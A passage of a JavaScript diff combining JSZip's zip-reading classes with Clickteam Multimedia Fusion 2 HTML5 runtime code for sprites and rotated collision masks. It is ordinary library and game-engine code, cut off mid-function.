+ * is very useful :)
+ * @constructor
+ * @param {String|ArrayBuffer|Uint8Array} stream the stream to read.
+ */
+ function StreamReader(stream)
+ {
+ this.stream = "";
+ if (JSZip.support.uint8array && stream instanceof Uint8Array)
+ {
+ this.stream = JSZip.utils.uint8Array2String(stream);
+ }
+ else if (JSZip.support.arraybuffer && stream instanceof ArrayBuffer)
+ {
+ var bufferView = new Uint8Array(stream);
+ this.stream = JSZip.utils.uint8Array2String(bufferView);
+ }
+ else
+ {
+ this.stream = JSZip.utils.string2binary(stream);
+ }
+ this.index = 0;
+ }
+
+ StreamReader.prototype = {
+ /**
+ * Check that the offset will not go too far.
+ * @param {string} offset the additional offset to check.
+ * @throws {Error} an Error if the offset is out of bounds.
+ */
+ checkOffset: function (offset)
+ {
+ this.checkIndex(this.index + offset);
+ },
+ /**
+ * Check that the specifed index will not be too far.
+ * @param {string} newIndex the index to check.
+ * @throws {Error} an Error if the index is out of bounds.
+ */
+ checkIndex: function (newIndex)
+ {
+ if (this.stream.length < newIndex || newIndex < 0)
+ {
+ throw new Error("End of stream reached (stream length = " +
+ this.stream.length + ", asked index = " +
+ (newIndex) + "). Corrupted zip ?");
+ }
+ },
+ /**
+ * Change the index.
+ * @param {number} newIndex The new index.
+ * @throws {Error} if the new index is out of the stream.
+ */
+ setIndex: function (newIndex)
+ {
+ this.checkIndex(newIndex);
+ this.index = newIndex;
+ },
+ /**
+ * Skip the next n bytes.
+ * @param {number} n the number of bytes to skip.
+ * @throws {Error} if the new index is out of the stream.
+ */
+ skip: function (n)
+ {
+ this.setIndex(this.index + n);
+ },
+ /**
+ * Get the byte at the specified index.
+ * @param {number} i the index to use.
+ * @return {number} a byte.
+ */
+ byteAt: function (i)
+ {
+ return this.stream.charCodeAt(i);
+ },
+ /**
+ * Get the next number with a given byte size.
+ * @param {number} size the number of bytes to read.
+ * @return {number} the corresponding number.
+ */
+ readInt: function (size)
+ {
+ var result = 0, i;
+ this.checkOffset(size);
+ for (i = this.index + size - 1; i >= this.index; i--)
+ {
+ result = (result << 8) + this.byteAt(i);
+ }
+ this.index += size;
+ return result;
+ },
+ /**
+ * Get the next string with a given byte size.
+ * @param {number} size the number of bytes to read.
+ * @return {string} the corresponding string.
+ */
+ readString: function (size)
+ {
+ this.checkOffset(size);
+ // this will work because the constructor applied the "& 0xff" mask.
+ var result = this.stream.slice(this.index, this.index + size);
+ this.index += size;
+ return result;
+ },
+ /**
+ * Get the next date.
+ * @return {Date} the date.
+ */
+ readDate: function ()
+ {
+ var dostime = this.readInt(4);
+ return new Date(
+ ((dostime >> 25) & 0x7f) + 1980, // year
+ ((dostime >> 21) & 0x0f) - 1, // month
+ (dostime >> 16) & 0x1f, // day
+ (dostime >> 11) & 0x1f, // hour
+ (dostime >> 5) & 0x3f, // minute
+ (dostime & 0x1f) << 1); // second
+ }
+ };
+ // }}} end of StreamReader
+
+ // class ZipEntry {{{
+ /**
+ * An entry in the zip file.
+ * @constructor
+ * @param {Object} options Options of the current file.
+ * @param {Object} loadOptions Options for loading the stream.
+ */
+ function ZipEntry(options, loadOptions)
+ {
+ this.options = options;
+ this.loadOptions = loadOptions;
+ }
+
+ ZipEntry.prototype = {
+ /**
+ * say if the file is encrypted.
+ * @return {boolean} true if the file is encrypted, false otherwise.
+ */
+ isEncrypted: function ()
+ {
+ // bit 1 is set
+ return (this.bitFlag & 0x0001) === 0x0001;
+ },
+ /**
+ * say if the file has utf-8 filename/comment.
+ * @return {boolean} true if the filename/comment is in utf-8, false otherwise.
+ */
+ useUTF8: function ()
+ {
+ // bit 11 is set
+ return (this.bitFlag & 0x0800) === 0x0800;
+ },
+ /**
+ * Read the local part of a zip file and add the info in this object.
+ * @param {StreamReader} reader the reader to use.
+ */
+ readLocalPart: function (reader)
+ {
+ var compression, localExtraFieldsLength;
+
+ // we already know everything from the central dir !
+ // If the central dir data are false, we are doomed.
+ // On the bright side, the local part is scary : zip64, data descriptors, both, etc.
+ // The less data we get here, the more reliable this should be.
+ // Let's skip the whole header and dash to the data !
+ reader.skip(22);
+ // in some zip created on windows, the filename stored in the central dir contains \ instead of /.
+ // Strangely, the filename here is OK.
+ // I would love to treat these zip files as corrupted (see http://www.info-zip.org/FAQ.html#backslashes
+ // or APPNOTE#4.4.17.1, "All slashes MUST be forward slashes '/'") but there are a lot of bad zip generators...
+ // Search "unzip mismatching "local" filename continuing with "central" filename version" on
+ // the internet.
+ //
+ // I think I see the logic here : the central directory is used to display
+ // content and the local directory is used to extract the files. Mixing / and \
+ // may be used to display \ to windows users and use / when extracting the files.
+ // Unfortunately, this lead also to some issues : http://seclists.org/fulldisclosure/2009/Sep/394
+ this.fileNameLength = reader.readInt(2);
+ localExtraFieldsLength = reader.readInt(2); // can't be sure this will be the same as the central dir
+ this.fileName = reader.readString(this.fileNameLength);
+ reader.skip(localExtraFieldsLength);
+
+ if (this.compressedSize == -1 || this.uncompressedSize == -1)
+ {
+ throw new Error("Bug or corrupted zip : didn't get enough informations from the central directory " +
+ "(compressedSize == -1 || uncompressedSize == -1)");
+ }
+ this.compressedFileData = reader.readString(this.compressedSize);
+
+ compression = findCompression(this.compressionMethod);
+ if (compression === null)
+ { // no compression found
+ throw new Error("Corrupted zip : compression " + pretty(this.compressionMethod) +
+ " unknown (inner file : " + this.fileName + ")");
+ }
+ this.uncompressedFileData = compression.uncompress(this.compressedFileData);
+
+ if (this.uncompressedFileData.length !== this.uncompressedSize)
+ {
+ throw new Error("Bug : uncompressed data size mismatch");
+ }
+
+ if (this.loadOptions.checkCRC32 && JSZip.prototype.crc32(this.uncompressedFileData) !== this.crc32)
+ {
+ throw new Error("Corrupted zip : CRC32 mismatch");
+ }
+ },
+
+ /**
+ * Read the central part of a zip file and add the info in this object.
+ * @param {StreamReader} reader the reader to use.
+ */
+ readCentralPart: function (reader)
+ {
+ this.versionMadeBy = reader.readString(2);
+ this.versionNeeded = reader.readInt(2);
+ this.bitFlag = reader.readInt(2);
+ this.compressionMethod = reader.readString(2);
+ this.date = reader.readDate();
+ this.crc32 = reader.readInt(4);
+ this.compressedSize = reader.readInt(4);
+ this.uncompressedSize = reader.readInt(4);
+ this.fileNameLength = reader.readInt(2);
+ this.extraFieldsLength = reader.readInt(2);
+ this.fileCommentLength = reader.readInt(2);
+ this.diskNumberStart = reader.readInt(2);
+ this.internalFileAttributes = reader.readInt(2);
+ this.externalFileAttributes = reader.readInt(4);
+ this.localHeaderOffset = reader.readInt(4);
+
+ if (this.isEncrypted())
+ {
+ throw new Error("Encrypted zip are not supported");
+ }
+
+ this.fileName = reader.readString(this.fileNameLength);
+ this.readExtraFields(reader);
+ this.parseZIP64ExtraField(reader);
+ this.fileComment = reader.readString(this.fileCommentLength);
+
+ // warning, this is true only for zip with madeBy == DOS (plateform dependent feature)
+ this.dir = this.externalFileAttributes & 0x00000010 ? true : false;
+ },
+ /**
+ * Parse the ZIP64 extra field and merge the info in the current ZipEntry.
+ * @param {StreamReader} reader the reader to use.
+ */
+ parseZIP64ExtraField: function (reader)
+ {
+
+ if (!this.extraFields[0x0001])
+ {
+ return;
+ }
+
+ // should be something, preparing the extra reader
+ var extraReader = new StreamReader(this.extraFields[0x0001].value);
+
+ // I really hope that these 64bits integer can fit in 32 bits integer, because js
+ // won't let us have more.
+ if (this.uncompressedSize === MAX_VALUE_32BITS)
+ {
+ this.uncompressedSize = extraReader.readInt(8);
+ }
+ if (this.compressedSize === MAX_VALUE_32BITS)
+ {
+ this.compressedSize = extraReader.readInt(8);
+ }
+ if (this.localHeaderOffset === MAX_VALUE_32BITS)
+ {
+ this.localHeaderOffset = extraReader.readInt(8);
+ }
+ if (this.diskNumberStart === MAX_VALUE_32BITS)
+ {
+ this.diskNumberStart = extraReader.readInt(4);
+ }
+ },
+ /**
+ * Read the central part of a zip file and add the info in this object.
+ * @param {StreamReader} reader the reader to use.
+ */
+ readExtraFields: function (reader)
+ {
+ var start = reader.index,
+ extraFieldId,
+ extraFieldLength,
+ extraFieldValue;
+
+ this.extraFields = this.extraFields || {};
+
+ while (reader.index < start + this.extraFieldsLength)
+ {
+ extraFieldId = reader.readInt(2);
+ extraFieldLength = reader.readInt(2);
+ extraFieldValue = reader.readString(extraFieldLength);
+
+ this.extraFields[extraFieldId] = {
+ id: extraFieldId,
+ length: extraFieldLength,
+ value: extraFieldValue
+ };
+ }
+ },
+ /**
+ * Apply an UTF8 transformation if needed.
+ */
+ handleUTF8: function ()
+ {
+ if (this.useUTF8())
+ {
+ this.fileName = JSZip.prototype.utf8decode(this.fileName);
+ this.fileComment = JSZip.prototype.utf8decode(this.fileComment);
+ }
+ }
+ };
+ // }}} end of ZipEntry
+
+ // class ZipEntries {{{
+ /**
+ * All the entries in the zip file.
+ * @constructor
+ * @param {String|ArrayBuffer|Uint8Array} data the binary stream to load.
+ * @param {Object} loadOptions Options for loading the stream.
+ */
+ function ZipEntries(data, loadOptions)
+ {
+ this.files = [];
+ this.loadOptions = loadOptions;
+ if (data)
+ {
+ this.load(data);
+ }
+ }
+
+ ZipEntries.prototype = {
+ /**
+ * Check that the reader is on the speficied signature.
+ * @param {string} expectedSignature the expected signature.
+ * @throws {Error} if it is an other signature.
+ */
+ checkSignature: function (expectedSignature)
+ {
+ var signature = this.reader.readString(4);
+ if (signature !== expectedSignature)
+ {
+ throw new Error("Corrupted zip or bug : unexpected signature " +
+ "(" + pretty(signature) + ", expected " + pretty(expectedSignature) + ")");
+ }
+ },
+ /**
+ * Read the end of the central directory.
+ */
+ readBlockEndOfCentral: function ()
+ {
+ this.diskNumber = this.reader.readInt(2);
+ this.diskWithCentralDirStart = this.reader.readInt(2);
+ this.centralDirRecordsOnThisDisk = this.reader.readInt(2);
+ this.centralDirRecords = this.reader.readInt(2);
+ this.centralDirSize = this.reader.readInt(4);
+ this.centralDirOffset = this.reader.readInt(4);
+
+ this.zipCommentLength = this.reader.readInt(2);
+ this.zipComment = this.reader.readString(this.zipCommentLength);
+ },
+ /**
+ * Read the end of the Zip 64 central directory.
+ * Not merged with the method readEndOfCentral :
+ * The end of central can coexist with its Zip64 brother,
+ * I don't want to read the wrong number of bytes !
+ */
+ readBlockZip64EndOfCentral: function ()
+ {
+ this.zip64EndOfCentralSize = this.reader.readInt(8);
+ this.versionMadeBy = this.reader.readString(2);
+ this.versionNeeded = this.reader.readInt(2);
+ this.diskNumber = this.reader.readInt(4);
+ this.diskWithCentralDirStart = this.reader.readInt(4);
+ this.centralDirRecordsOnThisDisk = this.reader.readInt(8);
+ this.centralDirRecords = this.reader.readInt(8);
+ this.centralDirSize = this.reader.readInt(8);
+ this.centralDirOffset = this.reader.readInt(8);
+
+ this.zip64ExtensibleData = {};
+ var extraDataSize = this.zip64EndOfCentralSize - 44,
+ index = 0,
+ extraFieldId,
+ extraFieldLength,
+ extraFieldValue;
+ while (index < extraDataSize)
+ {
+ extraFieldId = this.reader.readInt(2);
+ extraFieldLength = this.reader.readInt(4);
+ extraFieldValue = this.reader.readString(extraFieldLength);
+ this.zip64ExtensibleData[extraFieldId] = {
+ id: extraFieldId,
+ length: extraFieldLength,
+ value: extraFieldValue
+ };
+ }
+ },
+ /**
+ * Read the end of the Zip 64 central directory locator.
+ */
+ readBlockZip64EndOfCentralLocator: function ()
+ {
+ this.diskWithZip64CentralDirStart = this.reader.readInt(4);
+ this.relativeOffsetEndOfZip64CentralDir = this.reader.readInt(8);
+ this.disksCount = this.reader.readInt(4);
+ if (this.disksCount > 1)
+ {
+ throw new Error("Multi-volumes zip are not supported");
+ }
+ },
+ /**
+ * Read the local files, based on the offset read in the central part.
+ */
+ readLocalFiles: function ()
+ {
+ var i, file;
+ for (i = 0; i < this.files.length; i++)
+ {
+ file = this.files[i];
+ this.reader.setIndex(file.localHeaderOffset);
+ this.checkSignature(JSZip.signature.LOCAL_FILE_HEADER);
+ file.readLocalPart(this.reader);
+ file.handleUTF8();
+ }
+ },
+ /**
+ * Read the central directory.
+ */
+ readCentralDir: function ()
+ {
+ var file;
+
+ this.reader.setIndex(this.centralDirOffset);
+ while (this.reader.readString(4) === JSZip.signature.CENTRAL_FILE_HEADER)
+ {
+ file = new ZipEntry({
+ zip64: this.zip64
+ }, this.loadOptions);
+ file.readCentralPart(this.reader);
+ this.files.push(file);
+ }
+ },
+ /**
+ * Read the end of central directory.
+ */
+ readEndOfCentral: function ()
+ {
+ var offset = this.reader.stream.lastIndexOf(JSZip.signature.CENTRAL_DIRECTORY_END);
+ if (offset === -1)
+ {
+ throw new Error("Corrupted zip : can't find end of central directory");
+ }
+ this.reader.setIndex(offset);
+ this.checkSignature(JSZip.signature.CENTRAL_DIRECTORY_END);
+ this.readBlockEndOfCentral();
+
+
+ /* extract from the zip spec :
+ 4) If one of the fields in the end of central directory
+ record is too small to hold required data, the field
+ should be set to -1 (0xFFFF or 0xFFFFFFFF) and the
+ ZIP64 format record should be created.
+ 5) The end of central directory record and the
+ Zip64 end of central directory locator record must
+ reside on the same disk when splitting or spanning
+ an archive.
+ */
+ if (this.diskNumber === MAX_VALUE_16BITS
+ || this.diskWithCentralDirStart === MAX_VALUE_16BITS
+ || this.centralDirRecordsOnThisDisk === MAX_VALUE_16BITS
+ || this.centralDirRecords === MAX_VALUE_16BITS
+ || this.centralDirSize === MAX_VALUE_32BITS
+ || this.centralDirOffset === MAX_VALUE_32BITS
+ )
+ {
+ this.zip64 = true;
+
+ /*
+ Warning : the zip64 extension is supported, but ONLY if the 64bits integer read from
+ the zip file can fit into a 32bits integer. This cannot be solved : Javascript represents
+ all numbers as 64-bit double precision IEEE 754 floating point numbers.
+ So, we have 53bits for integers and bitwise operations treat everything as 32bits.
+ see https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Operators/Bitwise_Operators
+ and http://www.ecma-international.org/publications/files/ECMA-ST/ECMA-262.pdf section 8.5
+ */
+
+ // should look for a zip64 EOCD locator
+ offset = this.reader.stream.lastIndexOf(JSZip.signature.ZIP64_CENTRAL_DIRECTORY_LOCATOR);
+ if (offset === -1)
+ {
+ throw new Error("Corrupted zip : can't find the ZIP64 end of central directory locator");
+ }
+ this.reader.setIndex(offset);
+ this.checkSignature(JSZip.signature.ZIP64_CENTRAL_DIRECTORY_LOCATOR);
+ this.readBlockZip64EndOfCentralLocator();
+
+ // now the zip64 EOCD record
+ this.reader.setIndex(this.relativeOffsetEndOfZip64CentralDir);
+ this.checkSignature(JSZip.signature.ZIP64_CENTRAL_DIRECTORY_END);
+ this.readBlockZip64EndOfCentral();
+ }
+ },
+ /**
+ * Read a zip file and create ZipEntries.
+ * @param {String|ArrayBuffer|Uint8Array} data the binary string representing a zip file.
+ */
+ load: function (data)
+ {
+ this.reader = new StreamReader(data);
+
+ this.readEndOfCentral();
+ this.readCentralDir();
+ this.readLocalFiles();
+ }
+ };
+ // }}} end of ZipEntries
+
+ /**
+ * Implementation of the load method of JSZip.
+ * It uses the above classes to decode a zip file, and load every files.
+ * @param {String|ArrayBuffer|Uint8Array} data the data to load.
+ * @param {Object} options Options for loading the stream.
+ * options.base64 : is the stream in base64 ? default : false
+ */
+ JSZip.prototype.load = function (data, options)
+ {
+ var files, zipEntries, i, input;
+ options = options || {};
+ if (options.base64)
+ {
+ data = JSZipBase64.decode(data);
+ }
+
+ zipEntries = new ZipEntries(data, options);
+ files = zipEntries.files;
+ for (i = 0; i < files.length; i++)
+ {
+ input = files[i];
+ this.file(input.fileName, input.uncompressedFileData, {
+ binary: true,
+ optimizedBinaryString: true,
+ date: input.date,
+ dir: input.dir
+ });
+ }
+
+ return this;
+ };
+
+ }());
+ // enforcing Stuk's coding style
+ // vim: set shiftwidth=3 softtabstop=3 foldmethod=marker:
+ /* Copyright (c) 1996-2012 Clickteam
+ *
+ * This source code is part of the HTML5 exporter for Clickteam Multimedia Fusion 2.
+ *
+ * Permission is hereby granted to any person obtaining a legal copy
+ * of Clickteam Multimedia Fusion 2 to use or modify this source code for
+ * debugging, optimizing, or customizing applications created with
+ * Clickteam Multimedia Fusion 2.
+ * Any other use of this source code is prohibited.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
+ * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
+ * IN THE SOFTWARE.
+ */
+ var scripts = document.getElementsByTagName("script");
+ var path = scripts[scripts.length - 1].src;
+ document.srcPath = path.substring(0, path.lastIndexOf("/") + 1);
+
+ function Runtime(canvasName, appName)
+ {
+ var file = new CFile();
+ __scope.application = new CRunApp(canvasName, file, appName);
+ file.getFile(appName, headerLoaded);
+ }
+ function headerLoaded()
+ {
+ __scope.application.load();
+ }
+ function updateApplication()
+ {
+ __scope.application.stepApplication();
+ }
+ __scope['Runtime'] = Runtime;
+ __scope['headerLoaded'] = headerLoaded;
+ __scope.ua = 'updateApplication';
+ __scope[window.ua] = updateApplication;
+
+ /* Copyright (c) 1996-2012 Clickteam
+ *
+ * This source code is part of the HTML5 exporter for Clickteam Multimedia Fusion 2.
+ *
+ * Permission is hereby granted to any person obtaining a legal copy
+ * of Clickteam Multimedia Fusion 2 to use or modify this source code for
+ * debugging, optimizing, or customizing applications created with
+ * Clickteam Multimedia Fusion 2.
+ * Any other use of this source code is prohibited.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
+ * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
+ * IN THE SOFTWARE.
+ */
+ function Sprite()
+ {
+ this.x = 0;
+ this.y = 0;
+ this.visible = true;
+ this.children = new Array();
+ this.bZoom = false;
+ }
+ Sprite.prototype =
+ {
+ draw: function (context, xx, yy)
+ {
+ if (this.visible)
+ {
+ if (this.bZoom)
+ {
+ context._context.save();
+ context._context.translate(this.xDest, this.yDest);
+ if (this.angle != 0)
+ context._context.rotate(-this.angle * 0.0174532925);
+ context._context.scale(Math.max(0.001, this.scaleX), Math.max(0.001, this.scaleY));
+ context._context.translate(-this.xSpot, -this.ySpot);
+ }
+
+ var n;
+ for (n = 0; n < this.children.length; n++)
+ {
+ this.children[n].draw(context, xx + this.x, yy + this.y);
+ }
+
+ if (this.bZoom)
+ {
+ context._context.restore();
+ }
+ }
+ },
+
+ addChild: function (child)
+ {
+ this.children.push(child);
+ },
+
+ addChildIndex: function (child, index)
+ {
+ if (index >= this.children.length)
+ {
+ this.children.push(child);
+ }
+ else
+ {
+ if (index < 0) index = 0;
+ this.children.splice(index, 0, child);
+ }
+ },
+
+ removeAll: function ()
+ {
+ this.children.length = 0;
+ },
+
+ removeChild: function (child)
+ {
+ var n;
+ for (n = 0; n < this.children.length; n++)
+ {
+ if (this.children[n] == child)
+ {
+ this.children.splice(n, 1);
+ return n;
+ }
+ }
+ return -1;
+ },
+ getChildIndex: function (child)
+ {
+ var n;
+ for (n = 0; n < this.children.length; n++)
+ {
+ if (this.children[n] == child)
+ {
+ return n;
+ }
+ }
+ return -1;
+ },
+ getNumChildren: function ()
+ {
+ return this.children.length;
+ },
+ setChildIndex: function (child, index)
+ {
+ var n;
+ var object = null;
+ for (n = 0; n < this.children.length; n++)
+ {
+ if (this.children[n] == child)
+ {
+ object = this.children[n];
+ break;
+ }
+ }
+ if (object != null)
+ {
+ this.children.splice(n, 1);
+ if (index > n)
+ index--;
+ if (index < 0)
+ index = 0;
+ if (index >= this.children.length)
+ this.children.push(child);
+ else
+ this.children.splice(index, 0, child);
+ }
+ }
+ }
+
+ // CColMask object
+ // ------------------------------------------------------------
+ CColMask.CM_TEST_OBSTACLE = 0;
+ CColMask.CM_TEST_PLATFORM = 1;
+ CColMask.CM_OBSTACLE = 0x0001;
+ CColMask.CM_PLATFORM = 0x0002;
+ CColMask.COLMASK_XMARGIN = 64;
+ CColMask.COLMASK_YMARGIN = 16;
+ CColMask.HEIGHT_PLATFORM = 6;
+ function CColMask()
+ {
+ }
+
+ // CMask object
+ // ----------------------------------------------------------------
+ CMask.SCMF_FULL = 0x0000;
+ CMask.SCMF_PLATFORM = 0x0001;
+ CMask.GCMF_OBSTACLE = 0x0000;
+ CMask.GCMF_PLATFORM = 0x0001;
+ CMask.lMask =
+ [
+ 0xFFFF,
+ 0x7FFF,
+ 0x3FFF,
+ 0x1FFF,
+ 0x0FFF,
+ 0x07FF,
+ 0x03FF,
+ 0x01FF,
+ 0x00FF,
+ 0x007F,
+ 0x003F,
+ 0x001F,
+ 0x000F,
+ 0x0007,
+ 0x0003,
+ 0x0001
+ ];
+ CMask.rMask =
+ [
+ 0x0000,
+ 0x8000,
+ 0xC000,
+ 0xE000,
+ 0xF000,
+ 0xF800,
+ 0xFC00,
+ 0xFE00,
+ 0xFF00,
+ 0xFF80,
+ 0xFFC0,
+ 0xFFE0,
+ 0xFFF0,
+ 0xFFF8,
+ 0xFFFC,
+ 0xFFFE,
+ 0xFFFF
+ ];
+ CMask.topLeft = new CPoint();
+ CMask.topRight = new CPoint();
+ CMask.bottomLeft = new CPoint();
+ CMask.bottomRight = new CPoint();
+ function CMask()
+ {
+ this.mask = null;
+ this.lineWidth = 0;
+ this.height = 0;
+ this.width = 0;
+ this.xSpot = 0;
+ this.ySpot = 0;
+ this.lineWidth = 0;
+ }
+ CMask.prototype =
+ {
+ createMask: function (app, image, nFlags)
+ {
+ var x, y, s;
+
+ this.width = image.width;
+ this.height = image.height;
+ this.xSpot = image.xSpot;
+ this.ySpot = image.ySpot;
+
+ var maskWidth = Math.floor(((this.width + 15) & 0xFFFFFFF0) / 16);
+ this.lineWidth = maskWidth;
+ var length = maskWidth * this.height + 1;
+ if (typeof ArrayBuffer != 'undefined')
+ this.mask = new Uint16Array(new ArrayBuffer(length * 2));
+ else
+ {
+ this.mask = new Array(length);
+ for (x = 0; x < length; x++)
+ this.mask[x] = 0;
+ }
+
+ var canvas = document.createElement("canvas");
+ canvas.width = image.width;
+ canvas.height = image.height;
+ var context = canvas.getContext("2d");
+ if (image.mosaic == 0)
+ {
+ context.drawImage(image.img, 0, 0);
+ }
+ else
+ {
+ context.drawImage(app.imageBank.mosaics[image.mosaic],
+ image.mosaicX, image.mosaicY,
+ image.width, image.height, 0, 0,
+ image.width, image.height);
+ }
+ var imageData = context.getImageData(0, 0, this.width, this.height);
+
+ if ((nFlags & CMask.GCMF_PLATFORM) == 0)
+ {
+ for (y = 0; y < this.height; y++) {
+ var bitmapoffset = y * image.width * 4 + 3;
+ var maskoffset = y * maskWidth;
+ var bitmask = 0x8000;
+ for (x = 0; x < this.width; x++) {
+ if (imageData.data[bitmapoffset] != 0) {
+ this.mask[maskoffset] |= bitmask;
+ }
+
+ bitmapoffset += 4;
+ bitmask >>>= 1;
+
+ if (bitmask == 0) {
+ bitmask = 0x8000;
+ maskoffset++;
+ }
+ }
+ }
+ }
+ else
+ {
+ var endY, bm;
+ for (x = 0; x < this.width; x++)
+ {
+ for (y = 0; y < this.height; y++)
+ {
+ if (imageData.data[(y * image.width + x) * 4 + 3] != 0)
+ {
+ break;
+ }
+ }
+ if (y < this.height)
+ {
+ endY = Math.min(this.height, y + CColMask.HEIGHT_PLATFORM);
+ bm = (0x8000 >> (x & 15));
+ for (; y < endY; y++)
+ {
+ if (imageData.data[(y * image.width + x) * 4 + 3] != 0)
+ {
+ s = Math.floor((y * maskWidth) + (x & 0xFFFFFFF0) / 16);
+ this.mask[s] |= bm;
+ }
+ }
+ }
+ }
+ }
+ },
+
+ rotateRect: function (prc, pHotSpot, fAngle)
+ {
+ var x, y;
+ var cosa, sina;
+
+ if (fAngle == 90.0)
+ {
+ cosa = 0.0;
+ sina = 1.0;
+ }
+ else if (fAngle == 180.0)
+ {
+ cosa = -1.0;
+ sina = 0.0;
+ }
+ else if (fAngle == 270.0)
+ {
+ cosa = 0.0;
+ sina = -1.0;
+ }
+ else
+ {
+ var arad = fAngle * Math.PI / 180.0;
+ cosa = Math.cos(arad);
+ sina = Math.sin(arad);
+ }
+
+ var nhxcos;
+ var nhxsin;
+ var nhycos;
+ var nhysin;
+ if (pHotSpot == null)
+ {
+ nhxcos = nhxsin = nhycos = nhysin = 0.0;
+ CMask.topLeft.x = CMask.topLeft.y = 0;
+ }
+ else
+ {
+ nhxcos = -pHotSpot.x * cosa;
+ nhxsin = -pHotSpot.x * sina;
+ nhycos = -pHotSpot.y * cosa;
+ nhysin = -pHotSpot.y * sina;
+ CMask.topLeft.x = Math.floor(nhxcos + nhysin);
+ CMask.topLeft.y = Math.floor(nhycos - nhxsin);
+ }
+
+ if (pHotSpot == null)
+ x = prc.right;
+ else
+ x = prc.right - pHotSpot.x;
+ nhxcos = x * cosa;
+ nhxsin = x * sina;
+ CMask.topRight.x = Math.floor(nhxcos + nhysin);
+ CMask.topRight.y = Math.floor(nhycos - nhxsin);
+
+ if (pHotSpot == null)
+ y = prc.bottom;
+ else
+ y = prc.bottom - pHotSpot.y;
+ nhycos = y * cosa;
+ nhysin = y * sina;
+ CMask.bottomRight.x = Math.floor(nhxcos + nhysin);
+ CMask.bottomRight.y = Math.floor(nhycos - nhxsin);
+
+ CMask.bottomLeft.x = CMask.topLeft.x + CMask.bottomRight.x - CMask.topRight.x;
+ CMask.bottomLeft.y = CMask.topLeft.y + CMask.bottomRight.y - CMask.topRight.y;
+
+ var xmin = Math.min(CMask.topLeft.x, Math.min(CMask.topRight.x, Math.min(CMask.bottomRight.x, CMask.bottomLeft.x)));
+ var ymin = Math.min(CMask.topLeft.y, Math.min(CMask.topRight.y, Math.min(CMask.bottomRight.y, CMask.bottomLeft.y)));
+ var xmax = Math.max(CMask.topLeft.x, Math.max(CMask.topRight.x, Math.max(CMask.bottomRight.x, CMask.bottomLeft.x)));
+ var ymax = Math.max(CMask.topLeft.y, Math.max(CMask.topRight.y, Math.max(CMask.bottomRight.y, CMask.bottomLeft.y)));
+
+ if (pHotSpot != null)
+ {
+ pHotSpot.x = -xmin;
+ pHotSpot.y = -ymin;
+ }
+
+ prc.right = xmax - xmin;
+ prc.bottom = ymax - ymin;
+ },
+
+ createRotatedMask: function (pMask, fAngle, fScaleX, fScaleY)
+ {
+ var x, y;
+
+ var cx = pMask.width;
+ var cy = pMask.height;
+
+ var rc = new CRect();
+ rc.right = Math.floor(pMask.width * fScaleX);
+ rc.bottom = Math.floor(pMask.height * fScaleY);
+
+ var hs = new CPoint();
+ hs.x = Math.floor(pMask.xSpot * fScaleX);
+ hs.y = Math.floor(pMask.ySpot * fScaleY);
+ this.rotateRect(rc, hs, fAngle);
+ var newCx = rc.right;
+ var newCy = rc.bottom;
+ if (newCx <= 0 || newCy <= 0)
+ return false;
+
+ var sMaskWidthWords = pMask.lineWidth;
+ var dMaskWidthShorts = ((newCx + 15) & 0x7FFFFFF0) / 16;
+ if (typeof ArrayBuffer != 'undefined')
+ this.mask = new Uint16Array(new ArrayBuffer((dMaskWidthShorts * newCy + 1) * 2));
+ else
+ this.mask = new Array(dMaskWidthShorts * newCy + 1);
+ var n;
+ for (n = dMaskWidthShorts * newCy; n >= 0; n--)
+ this.mask[n] = 0;
+
+ this.lineWidth = dMaskWidthShorts;
+ this.width = newCx;
+ this.height = newCy;
+ this.xSpot = hs.x;
+ this.ySpot = hs.y;
+
+ var alpha = (fAngle * 0.017453292);
+ var cosa = Math.cos(alpha);
+ var sina = Math.sin(alpha);
+
+ var fxs = cx / 2 - ((newCx / 2) * cosa - (newCy / 2) * sina) / fScaleX;
+ var fys = cy / 2 - ((newCx / 2) * sina + (newCy / 2) * cosa) / fScaleY;
+
+ var pbd0 = 0;
+ var pbd1 = pbd0;
+
+ var nxs = Math.floor(fxs * 65536);
+ var nys = Math.floor(fys * 65536);
+ var ncosa = Math.floor((cosa * 65536) / fScaleX);
+ var nsina = Math.floor((sina * 65536) / fScaleY);
+
+ var newCxMul16 = newCx / 16;
+ var newCxMod16 = newCx % 16;
+
+ var ncosa2 = Math.floor((cosa * 65536) / fScaleY);
+ var nsina2 = Math.floor((sina * 65536) / fScaleX);
+
+ var cxs = cx * 65536;
+ var cys = cy * 65536;
+
+ var bMask;
+ var b;
+ for (y = 0; y < newCy; y++)
+ {
+ var txs = nxs;
+ var tys = nys;
+ var pbd2 = pbd1;
+ var xs, ys;
+
+ for (x = 0; x < newCxMul16; x++)
+ {
+ var bd = 0;
+
+ // 1
+ if (txs >= 0 && txs < cxs)
+ {
+ if (tys >= 0 && tys < cys)
+ {
+ xs = Math.floor(txs / 65536);
+ ys = Math.floor(tys / 65536);
+ bMask = (0x8000 >>> (xs % 16));
+ b = pMask.mask[Math.floor(ys * sMaskWidthWords + xs / 16)];
+ if ((b & bMask) != 0)
+ bd |= 0x8000;
+ }
+ }
+ txs += ncosa;
+ tys += nsina;
+
+ // 2
+ if (txs >= 0 && txs < cxs)
+ {
+ if (tys >= 0 && tys < cys)
+ {
+ xs = Math.floor(txs / 65536);
+ ys = Math.floor(tys / 65536);
